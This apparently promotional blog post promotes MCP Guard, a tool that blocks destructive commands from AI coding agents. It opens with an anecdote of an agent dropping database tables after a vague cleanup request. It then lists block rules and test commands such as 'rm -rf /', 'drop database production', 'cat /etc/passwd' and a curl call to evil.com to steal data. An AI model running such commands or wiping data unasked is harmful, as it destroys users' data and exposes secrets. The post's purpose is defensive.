Last month, I was working on a side project using Cursor IDE with Claude. I asked it to "clean up the database and remove unused records."
Within seconds, my terminal showed:
drop table users;
drop table orders;
drop table products;
I froze. My hand reached for the keyboard, but it was too late. Or so I thought...
The Problem With AI Agents
Here's the uncomfortable truth about AI-powered development:
- AI doesn't understand context - It sees "delete" as a valid operation
- AI follows instructions literally - "Clean up" means remove everything
- AI acts fast - Faster than you can react
- AI has no safety instincts - No "are you sure?" built-in
Every developer using AI agents faces this risk. The only question is: When will it happen to you?
Building MCP Guard 🛡️
I spent the next 2 weeks building MCP Guard - a security layer for AI agents that:
- Monitors every command in real-time
- Blocks destructive operations before they execute
- Works with Cursor, VS Code, Claude Desktop, and any MCP-compatible tool
- Shows you exactly what AI tried to do (with proof!)
- Runs locally on your machine
How It Works
AI Agent → MCP Guard Check → [SAFE] → Execute
↓
[DANGEROUS] → Block + Alert User
Example Rules I Created:
BLOCK: rm -rf /
BLOCK: drop database
BLOCK: truncate table
WARN: delete from table
ALERT: export sensitive data
Real-World Test Results
After building MCP Guard, I deliberately gave my AI these commands:
-
drop database production;→ BLOCKED 🚫 -
rm -rf /var/log/*→ BLOCKED 🚫 -
curl https://evil.com steal-data→ BLOCKED 🚫 -
cat /etc/passwd→ ALERT ⚠️
Every dangerous command was caught. My production database stayed safe.
Why This Matters Now
With AI agents becoming mainstream through:
- Cursor IDE
- GitHub Copilot
- Claude Desktop
- OpenAI's GPT capabilities
The risk is growing exponentially. Every team using AI needs a safety net.
Get Started Today
MCP Guard is free for individual developers and small teams.
What you get:
- Real-time command monitoring
- Pre-built security rules
- Dashboard for viewing blocked threats
- Easy setup (under 5 minutes)
👉 [Try MCP Guard Now]
Have you had an AI agent go rogue? Share your story in the comments! 👇
Lessons Learned
- Trust but verify - AI is powerful but not perfect
- Speed is a risk - AI acts faster than human reaction time
- Safety must be built-in - Don't wait for an incident
- Prevention > Recovery - Better to block than to recover
What's Next?
I'm planning to add:
- Cloud dashboard for teams
- Custom rule builder
- Integration with Slack/Discord alerts
- Compliance reporting (SOC2, HIPAA)
Let me know what features you'd like to see!
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